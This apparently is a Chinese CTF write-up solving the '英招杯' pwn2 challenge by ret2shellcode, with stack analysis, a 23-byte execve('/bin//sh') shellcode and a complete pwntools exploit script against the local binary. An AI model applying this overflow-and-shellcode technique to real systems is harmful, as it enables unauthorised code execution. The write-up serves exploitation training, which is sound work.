英招杯 pwn2(ret2shellcode)

程序下载地址<提取码:play>

查看程序结构

逆向分析

exp

查看程序结构

image-20221114164157299

查看程序结构后我们可以得到的信息

64位的ELF格式程序

开启了RELRO和PIE保护

未开启NX和Canary保护(可以考虑栈溢出)

逆向分析

将程序用IDA64打开分析

image-20221114164415260

迎面而来的main函数很明显可以看出存储栈溢出;

这也是我们利用的关键点;

接着我们在查看是否存在可利用的字符串

如果存在system函数,那么我们只需要直接修改return地址,就可以直接利用栈溢出,getshell。通过快捷键“shift + F12”打开字串窗口查看字符串

image-20221114164610246

不出所料,啥也没有。我们可以考虑别的思路了。

我们分析main函数的时候可以看到栈中的s距离rbp还有一段距离,且程序的NX保护未开启,我们可以考虑写入shellcode在栈中执行。

并且根据伪代码分析,我们可以得出,程序运行是,会先把输入值的存放地址输出,这也方便了我们进行shellcode的写入。

在写入shellcode的位置需要考虑shellcode在程序运行过程中是否会被更改。

image-20221114165815718

根据main函数的汇编代码可以看出,在fget函数后,程序还会对var_30和var_8这两个位置进行修改。

所以我们选择尽量大的连续空间给我放置shellcode来执行。

经过分析,在栈中最大的空间即为变量var_30和var_8之间的栈空间,共32个字节。

所以我们构造的payload应小于等于32字节才是可行的shellcode。

在网上我们可以查到相对较短的syscall系统调用的shellcode为23字节,满足我们所需的要求。

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

剩下的就是相对简单的偏移量分析;

image-20221114222446448

image-20221114222607766

根据图中与rbp的偏移,我们相对比较容易的出var_30对应的变量为v5,var_8对应的变量为v10。

若我们要将shellcode填充在var_30和var_8之间,这先需要填充0x3c-0x28个字节的字符;

随后填充我们的shellcode,然后再填充0x28-len(shellcode)长度的空间到ebp的位置

随后将ebp填充

再覆盖返回地址为shellcode的位置进行执行即可;

由于程序运行时,即输出了输入值s的存放首地址,我们输入的首地址与shellcode之间的距离是0x3c-0x28=0x14,故只需返回s的首地址加上0x14即可;

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn2')
elf = ELF('./pwn2')

# gdb.attach(p)
p.recvuntil('So this is where Sally sold her sea SHELLS: ')
ret_addr = int(p.recvuntil(b'\n')[:-1], 16)


# 用一下的汇编代码生成的exp为23字节,也能符合我们的要求
# 但是网上的一些汇编代码是无法满足要求的
# shellcode = asm(
# '''
# xor rsi,rsi
# mul esi
# push rax
# mov rbx,0x68732f2f6e69622f
# push rbx
# push rsp
# pop rdi
# mov al, 59
# syscall
# '''
# )

#amd64
# 这样子生成的shellcode会超过我们预期的字节数
# shellcode=asm(shellcraft.sh())

#这里是网上已经写好的短shellcode,能达到同样的目的
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
payload = b'a'*(0x3c-0x28) + shellcode + b'b'*(0x28-len(shellcode)+0x8) + p64(ret_addr+0x14)
p.sendline(payload)
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值